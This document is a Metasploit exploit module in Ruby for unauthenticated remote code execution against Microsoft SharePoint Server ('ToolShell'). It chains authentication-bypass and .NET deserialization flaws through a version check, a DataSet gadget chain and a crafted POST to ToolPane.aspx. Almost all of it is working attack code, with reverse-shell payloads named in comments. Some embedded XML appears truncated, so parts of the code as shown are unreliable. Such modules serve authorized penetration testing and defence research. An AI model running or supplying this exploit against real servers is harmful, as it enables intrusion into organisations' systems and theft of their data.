##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell)',
'Description' => %q{
This module exploits the authentication bypass vulnerabilities CVE-2025-49706 and CVE-2025-53771, and an unsafe
deserialization vulnerability CVE-2025-49704, to achieve unauthenticated RCE against a vulnerable Microsoft
SharePoint Server. The vulnerability CVE-2025-53770 was disclosed as being a patch bypass of CVE-2025-49704,
and as described by the finders, CVE-2025-53770 targets a different endpoint within the /_vti_bin/ URI path.
As this exploit module does not target the endpoint associated with CVE-2025-53770 (per the original finders),
we believe this module is best described as exploiting CVE-2025-49704 and not CVE-2025-53770.
},
'License' => MSF_LICENSE,
'Author' => [
# Discovered CVE-2025-49704 and CVE-2025-49706, demoed at Pwn2Own Berlin 2025.
# Credited by Microsoft as also discovering CVE-2025-53770 and CVE-2025-53771.
'Viettel Cyber Security',
# Metasploit module, based on the public PoC of the exploit for CVE-2025-49706 and CVE-2025-49704.
'sfewer-r7'
],
'References' => [
# Microsoft SharePoint DataSetSurrogateSelector Deserialization of Untrusted Data Remote Code Execution Vulnerability.
['CVE', '2025-49704'],
# Microsoft SharePoint ToolPane Authentication Bypass Vulnerability.
['CVE', '2025-49706'],
# Patch bypass for CVE-2025-49704, by targeting a different endpoint within the /_vti_bin/ path.
['CVE', '2025-53770'],
# Patch bypass for CVE-2025-49706.
['CVE', '2025-53771'],
# Technical analysis of CVE-2025-49704 and CVE-2025-49706 by the original finder, Dinh Ho Anh Khoa (Viettel Cyber Security).
['URL', 'https://blog.viettelcybersecurity.com/sharepoint-toolshell/'],
# LeakIX blog which captured the malicious request for the in-the-wild exploit for CVE-2025-49706, CVE-2025-53771, and CVE-2025-49704.
['URL', 'https://blog.leakix.net/2025/07/using-their-own-weapons-for-defense-a-sharepoint-story/'],
# Technical analysis of CVE-2025-49704, CVE-2025-49706, CVE-2025-53770 and CVE-2025-53771 by Kaspersky.
['URL', 'https://securelist.com/toolshell-explained/'],
# ZDI advisories for CVE-2025-49704 and CVE-2025-49706, discovered by Viettel Cyber Security.
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-580/'],
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-581/'],
# Microsoft advisories for CVE-2025-49704 and CVE-2025-49706.
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49704'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49706'],
# Microsoft advisories for CVE-2025-53770 and CVE-2025-53771.
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53770'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53771'],
# Microsoft Guidance.
['URL', 'https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/'],
['URL', 'https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/'],
# The zero-day exploit for CVE-2025-49704, CVE-2025-49706, published July 21, 2025.
['URL', 'https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501'],
# Markus Wulftange (CODE WHITE GmbH) reproduced CVE-2025-49704 and CVE-2025-49706, circa July 14, 2025.
['URL', 'https://x.com/codewhitesec/status/1944743478350557232'],
# Dinh Ho Anh Khoa (Viettel Cyber Security) demoed CVE-2025-49704 and CVE-2025-49706 at Pwn2Own Berlin on May 16, 2025.
['URL', 'https://x.com/thezdi/status/1923317597673533552'],
# Prior work from Steven Seeley on a similar DataSet gadget chain for SharePoint.
['URL', 'https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html']
],
'DisclosureDate' => '2025-07-08', # Disclosure date for CVE-2025-49704 and CVE-2025-49706.
'Platform' => ['win'],
'Arch' => [ARCH_CMD],
'Privileged' => false, # Executes as the SharePoint site user.
'Targets' => [
[
'Default', {}
]
],
# NOTE: Tested with the following payloads:
# cmd/windows/http/x64/meterpreter/reverse_tcp
# cmd/windows/generic
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false,
# Delete the fetch binary after execution.
'FETCH_DELETE' => true,
# The root path of the SharePoint site
'URIPATH' => '/'
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '_layouts', '15', 'start.aspx')
)
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Unknown("Unexpected response code #{res.code}") unless res.code == 200
# The returned HTML will have a blob of JavaScript that contains a hash object called _spPageContextInfo. A key
# called siteClientTag will have a value of the current SharePoint Server patch level. We cannot rely on the HTTP
# header value MicrosoftSharePointTeamServices as this may not reflect the actual patch level.
site_client_tag = res.body.match(/"*siteClientTag"*\s*:\s*"\d*[$]+([^"]+)",/)
return CheckCode::Unknown('Unable to extract the siteClientTag') unless site_client_tag
version = Rex::Version.new(site_client_tag[1])
# We compare the version we pull from the target, against a table of known vulnerable SharePoint editions. We
# compare the target version against the RTM version (i.e. the first version of an edition) and the version *before*
# the patch for CVE-2025-53770 and CVE-2025-53771 (which supersedes patches for CVE-2025-49704 and CVE-2025-49706
# from July 2025).
# Note: A SharePoint server that has the patch for CVE-2025-49704 applied, may still be vulnerable if a SharePoint
# configuration update has not also manually occurred.
# https://learn.microsoft.com/en-us/sharepoint/product-servicing-policy/updated-product-servicing-policy-for-sharepoint-2019
# https://learn.microsoft.com/en-us/officeupdates/sharepoint-updates
ranges = [
[
'Microsoft SharePoint Server Subscription Edition',
'16.0.14326.20450', # The RTM version (circa 2021)
'16.0.18526.20424' # July 2025
],
[
'Microsoft SharePoint Server 2019',
'16.0.10337.12109', # The RTM version (circa 2019)
'16.0.10417.20027' # July 2025
],
[
'Microsoft SharePoint Enterprise Server 2016',
'16.0.4351.1000', # The RTM version (circa 2017)
'16.0.5508.1000' # July 2025
],
# NOTE: It is unclear if older unsupported versions (SharePoint Server 2013 and 2010) are vulnerable.
[
'SharePoint Server 2013',
'15.0.4481.1005',
'15.0.5545.1000' # Last version before end of support.
],
[
'SharePoint Server 2010',
'14.0.7015.1000',
'14.0.7268.5000' # Last version before end of support.
]
]
ranges.each do |product, rtm_version, patch_version|
if version.between?(Rex::Version.new(rtm_version), Rex::Version.new(patch_version))
return Exploit::CheckCode::Appears("Detected #{product} version #{version}")
end
end
# If we get here, it's a patched version.
Exploit::CheckCode::Safe("Detected Microsoft SharePoint Server version #{version}")
end
def exploit
gadget_raw = create_gadget_chain
send_exploit(gadget_raw)
end
# This gadget chain was reconstructed from the PoC posted here (https://gist.github.com/gboddin/6374c04f84b58cef050f5f4ecf43d501)
# and is thought to be from the zero-day exploit caught in-the-wild. The payload from the in-the-wild gadget chain has
# been removed, and we instead use our nested_gadget_b64 to execute a Metasploit payload (via a separate
# TypeConfuseDelegate gadget chain).
class DataSetWrapper < Msf::Util::DotNetDeserialization::Types::SerializedStream
def self.generate(nested_gadget_b64)
name_a = Rex::Text.rand_text_alpha_lower(8..16)
name_b = Rex::Text.rand_text_alpha_lower(8..16)
name_c = Rex::Text.rand_text_alpha_lower(8..16)
# The msdata:DataType attribute below is CVE-2025-49704, and allows bypassing a filter list so we can instantiate
# LosFormatter and ObjectDataProvider in the diffgr:diffgram XML document below, allowing us to kick off a second
# stage deserialization gadget (which will be a TypeConfuseDelegate + LosFormatter gadget chain).
schema = <<~EOF
EOF
diffgram = <<~EOF
<#{name_a}>
<#{name_b} diffgr:id="Table" msdata:rowOrder="0" diffgr:hasChanges="inserted">
<#{name_c} xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
Deserialize
#{nested_gadget_b64}
#{name_c}>
#{name_b}>
#{name_a}>
EOF
system = Msf::Util::DotNetDeserialization::Assemblies::VERSIONS['4.0.0.0'].fetch('System.Data')
library = Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryLibrary.new(
library_id: 2,
library_name: system.to_s
)
from_values([
Msf::Util::DotNetDeserialization::Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),
library,
Msf::Util::DotNetDeserialization::Types::RecordValues::ClassWithMembersAndTypes.new(
class_info: Msf::Util::DotNetDeserialization::Types::General::ClassInfo.new(
obj_id: 1,
name: 'System.Data.DataSet',
member_names: %w[XmlSchema XmlDiffGram]
),
member_type_info: Msf::Util::DotNetDeserialization::Types::General::MemberTypeInfo.new(
binary_type_enums: %i[String String]
),
library_id: library.library_id,
member_values: [
Msf::Util::DotNetDeserialization::Types::Record.from_value(
Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new(
obj_id: 3,
string: schema
)
),
Msf::Util::DotNetDeserialization::Types::Record.from_value(
Msf::Util::DotNetDeserialization::Types::RecordValues::BinaryObjectString.new(
obj_id: 2,
string: diffgram
)
),
]
),
Msf::Util::DotNetDeserialization::Types::RecordValues::MessageEnd.new
])
end
end
def create_gadget_chain
# NOTE: Depending on the version of SharePoint, different gadgets can be used.
#
# * A TypeConfuseDelegate + BinaryFormatter gadget chain was tested against Microsoft SharePoint Server 2019 version
# 16.0.10337.12109 (RTM circa 2019), but does not work on more recent versions like 16.0.10417.20018 (June 2025).
#
# * The XmlSchema DataSet chain which then wraps the TypeConfuseDelegate + LosFormatter gadget chain was tested to
# work against Microsoft SharePoint Server 2019 versions 16.0.10337.12109 (RTM circa 2019), 16.0.10417.20018
# (June 2025), and 16.0.10417.20027 (July 2025). This is the chain as caught in-the-wild circa July 19, 2025.
typeconfusedelegate_gadget_raw = ::Msf::Util::DotNetDeserialization.generate(
payload.encoded,
gadget_chain: :TypeConfuseDelegate,
formatter: :LosFormatter
)
vprint_status('Using TypeConfuseDelegate + LosFormatter gadget chain:')
vprint_line(Rex::Text.to_hex_dump(typeconfusedelegate_gadget_raw))
typeconfusedelegate_gadget_b64 = Base64.strict_encode64(typeconfusedelegate_gadget_raw)
dataset_gadget_raw = DataSetWrapper.generate(typeconfusedelegate_gadget_b64).to_binary_s
vprint_status('Using XmlSchema DataSet + BinaryFormatter gadget chain:')
vprint_line(Rex::Text.to_hex_dump(dataset_gadget_raw))
dataset_gadget_raw
end
def send_exploit(gadget_raw)
gadget_gzip = StringIO.new
gzip = Zlib::GzipWriter.new(gadget_gzip)
gzip.write(gadget_raw)
gzip.close
namespace_ui = Rex::Text.rand_text_alpha_lower(8..16)
namespace_scorecards = Rex::Text.rand_text_alpha_lower(8..16)
xml = <<~EOF
<%@ Register Tagprefix="#{namespace_ui}" Namespace="System.Web.UI" Assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" %>
<%@ Register Tagprefix="#{namespace_scorecards}" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %>
<#{namespace_ui}:UpdateProgress>
<#{namespace_scorecards}:ExcelDataSet CompressedDataTable="#{Base64.strict_encode64(gadget_gzip.string)}" DataTable-CaseSensitive="true" runat="server"/>
#{namespace_ui}:UpdateProgress>
EOF
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(
target_uri.path,
'_layouts',
'15',
'ToolPane.aspx',
Rex::Text.rand_text_alpha_lower(8..16) # The addition of a trailing path segment appears to be CVE-2025-53771
),
'ctype' => 'application/x-www-form-urlencoded',
'headers' => {
'Referer' => normalize_uri(target_uri.path, '_layouts', 'SignOut.aspx') # This is part of CVE-2025-49706
},
'vars_get' => {
'DisplayMode' => 'Edit', # This is part of CVE-2025-49706
Rex::Text.rand_text_alpha_lower(8..16) => '/ToolPane.aspx' # This is part of CVE-2025-49706
},
'vars_post' => {
'MSOTlPn_Uri' => full_uri(normalize_uri(target_uri.path, '_controltemplates', '15', 'AclEditor.ascx')), # This is part of CVE-2025-49706
'MSOTlPn_DWP' => xml
}
)
end
end